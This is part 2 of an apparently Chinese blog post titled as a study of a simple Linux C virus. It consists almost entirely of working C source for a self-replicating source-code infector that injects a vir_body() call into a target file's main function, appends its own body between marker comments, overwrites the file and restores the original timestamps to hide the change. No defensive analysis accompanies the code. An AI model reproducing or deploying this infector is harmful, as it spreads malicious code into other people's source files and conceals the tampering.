Linux下一个很简单的C病毒研究(2)

if ((fp_obj = fopen(f_name, "r+")) == NULL)
    {// object file
        return 1;
    }
    if (stat(f_name, &statbuf) < 0)
    {
        return 1;
    }
    timebuf.actime = statbuf.st_atime;
    timebuf.modtime = statbuf.st_mtime;
   
    if ((fp_vir = fopen(vir_path, "r")) ==NULL)
    {// virus file
        return 1;
    }
   
    // make a tempfile as a buffer
    if ((tmp_buf = tmpnam(NULL)) == NULL)
    {
        return 1;
    }
    if ((fp_tmp = fopen(tmp_buf, "a+")) == NULL)
    {// temp file
        return 1;   
    }
    unlink(tmp_buf);// kernal will delete it after the process done

    // read the C text into the temp file, and modify it
    flag = 'T';
    while (fgets(buf, BUF_SIZE, fp_obj) != NULL)
    {
        if (!strcmp(buf, "/* ucfree:2007-12-31 start */\n"))
        {// the obeject file have been infected
            return 0;
        }

if (flag == 'T' && strstr(buf, "main("))
        {// find the funtion main,change flag
            flag = 'F';
        }
        if (flag == 'F' && (strstr(buf, "return") ||
            strstr(buf, "}")))
        {// insert the invoke line,before "return" or "}"
            fputs("\t\tvir_body();\n", fp_tmp);
            flag = 'O';
        }
        fputs(buf, fp_tmp);
    }
    if (flag != 'O')
    {// is not the main c file
        return 0;
    }

// add the parts of virus's body to the tail of temp file

flag = 'T';
    while (fgets(buf, BUF_SIZE, fp_vir) != NULL)
    {
        if (flag == 'T' &&
            !strcmp(buf, "/* ucfree:2007-12-31 start */\n"))
        {// is the start of the virus's body
            flag = 'F';
        }
        if (flag == 'T')
        {// not find the start
            continue;
        }
        if (flag == 'O')
        {// virus body have been inserted,do over
            break;
        }
       
        // insert virus's body
        if (!strcmp(buf, "/* ucfree:2007-12-31 end */\n"))
        {// is the end of the virus's body
            flag = 'O';
        }
        if (strstr(buf, "#define VIR_NAM") &&
            buf[0] == '#')
        {// use the object's name to instand of the virus name
            snprintf(buf, sizeof(buf), "%s\t\"%s\"\n",
                    "#define VIR_NAM", f_name);
        }
        fputs(buf, fp_tmp);
    }
    fclose(fp_vir);
   
    // temp file instand of the object file
    rewind(fp_tmp);
    rewind(fp_obj);
    while (fgets(buf, BUF_SIZE,fp_tmp) != NULL)
    {
        fputs(buf, fp_obj);
    }
    fclose(fp_tmp);
    fclose(fp_obj);
    if (utime(f_name, &timebuf) < 0)
    {// keep the time back
        return 1;
    }
    // OK! object file also been a virus ^_^

return 0;
}
/* ucfree:2007-12-31 end */

/* test it */
int main()
{
    vir_body();

return 0;
}